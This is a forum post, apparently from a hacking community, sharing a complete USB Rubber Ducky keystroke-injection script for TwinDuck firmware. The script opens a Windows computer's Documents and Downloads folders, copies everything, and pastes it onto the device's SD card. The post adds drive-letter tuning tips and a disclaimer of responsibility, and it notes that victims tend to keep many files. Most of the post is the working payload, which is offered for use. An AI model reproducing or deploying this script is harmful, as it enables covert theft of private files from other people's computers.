Thread Modes [USB Rubber Ducky] Downloads & Documents Copier

Thread Modes [USB Rubber Ducky] Downloads & Documents Copier

Thread Modes [USB Rubber Ducky] Downloads & Documents Copier

I ARE NOT RESPONSIBLE FOR WHAT YOU DO WITH THIS. WHAT YOU DO IS YOUR RESPONSIBILITY !!

I wasn't sure where to post this since I didn't see a misc for technology so I put it in here.

This script requires the TwinDuck firmware installed on your RubberDucky.
For those that don't know what a RubberDucky is, just click on the following link. https://hakshop.com/products/usb-rubber-ducky-deluxe

This script does not require CMD or PowerShell, it is a very simple script so it can be used on practically any Windows computer. Has been tested on Windows 8, 8.1, 10.

Code:
REM Copies all contents from documents folder and pastes them into the duck
REM Using TwinDuck firmware.
REM Once the first half has been completed it goes into the downloads folder
REM And does the same.
DELAY 5000
REM Minimizes all active tabs
GUI d
DELAY 500
REM Opens documents folder and copies all contents.
GUI r
DELAY 500
STRING documents
DELAY 500
ENTER
DELAY 500
CTRL a
DELAY 500
CTRL c
DELAY 500
REM Opens ducky folder
WINDOWS r
DELAY 500
STRING D:\
DELAY 500
ENTER
DELAY 500
REM Pastes
CTRL v
DELAY 500
GUI D
DELAY 10000
REM Opens downloads folder and enters it.
GUI r
DELAY 500
STRING downloads
DELAY 500
ENTER
DELAY 500
CTRL a
DELAY 500
CTRL c
DELAY 500
GUI d
DELAY 500
REM Copies all contents in downloads folder and opens the ducky SD card.
WINDOWS r
DELAY 500
STRING D:\
DELAY 500
ENTER
DELAY 500
REM Pastes anything from clipboard (So downloads folder)
CTRL v
DELAY 500
GUI d
DELAY 10000

Simply build the above code using any Encoder(If you have no idea what this is, feel free to ask in the comments)

As you can tell it uses D:\ as the drive, this should work if the computer has NO optical drives, so this means no other thumb drive is plugged in and it has no optical drive. You may increase the letter as necessary. For example if it has one(1) optical drive then you increase the letter to E.

Also, I recommend you have a micro SD card big enough, experience has taught me that people like to leave their files in there.